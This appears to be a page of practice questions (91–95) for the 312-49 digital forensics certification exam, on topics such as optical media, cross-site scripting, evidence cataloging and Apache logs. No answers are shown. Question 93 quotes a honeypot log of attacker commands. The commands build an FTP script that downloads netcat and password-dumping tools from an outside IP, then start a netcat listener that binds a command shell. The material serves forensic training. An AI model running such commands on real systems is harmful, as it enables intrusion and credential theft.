312-49 Exam Question 91

An employee is attempting to wipe out data stored on a couple of compact discs (CDs) and digital video discs (DVDs) by using a large magnet. You inform him that this method will not be effective in wiping out the data because CDs and DVDs are ______________ media used to store large amounts of data and are not affected by the magnet.
  • 312-49 Exam Question 92

    At what layer does a cross site scripting attack occur on?
  • 312-49 Exam Question 93

    The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini.
    He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below.
    " cmd1.exe /c open 213.116.251.162 > ftpcom "
    " cmd1.exe /c echo johna2k > > ftpcom "
    " cmd1.exe /c echo haxedj00 > > ftpcom "
    " cmd1.exe /c echo get nc.exe > > ftpcom "
    " cmd1.exe /c echo get pdump.exe > > ftpcom "
    " cmd1.exe /c echo get samdump.dll > > ftpcom "
    " cmd1.exe /c echo quit > > ftpcom "
    " cmd1.exe /c ftp -s:ftpcom "
    " cmd1.exe /c nc -l -p 6969 -e cmd1.exe "
    What can you infer from the exploit given?
  • 312-49 Exam Question 94

    When cataloging digital evidence, the primary goal is to
  • 312-49 Exam Question 95

    The Apache server saves diagnostic information and error messages that it encounters while processing requests. The default path of this file is usr/local/apache/logs/error.log in Linux. Identify the Apache error log from the following logs.